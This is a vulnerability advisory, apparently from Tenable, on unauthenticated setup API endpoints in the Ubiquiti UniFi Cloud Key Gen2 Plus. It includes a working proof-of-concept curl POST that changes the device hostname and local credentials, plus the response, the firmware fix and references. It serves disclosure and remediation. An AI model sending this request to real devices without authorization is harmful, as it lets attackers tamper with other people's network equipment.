Synopsis
While investigating Ubiquiti Unifi Cloud Key Gen2 Plus, Tenable discovered a previously patched but undisclosed vulnerability. The vulnerability can be exploited by a remote, unauthenticated attacker to modify the Ubiquiti system's hostname.
Specifically the /api/ump/setup and /api/umc/setup API endpoints accept a "name" parameter that is used to update the device hostname. These endpoints do not require authentication.
Proof of Concept
Request:
curl -H "Content-Type: application/json" --insecure -X POST https://192.168.30.2:443/api/ump/setup -d '{"timezone":"US/Central", "country":826, "localUsername":"newuser", "localPassword":"newpass","localEmail":"[email protected]","name":"newname1"}'
Response:
{"services":[{"service":"host","status":200,"code":"SUCCESS"}]}
Solution
Upgrade to UniFi Cloud Key Firmware 1.1.10Additional References
https://community.ui.com/releases/UniFi-Cloud-Key-Firmware-1-1-10/57e3e7ba-3cef-4c77-a2e0-681074d9c7ffhttps://community.ui.com/releases/Security-advisory-bulletin-007-007/eb639fa0-68ad-4bf5-9663-3b760eb2f93a
https://hackerone.com/reports/802079
Disclosure Timeline
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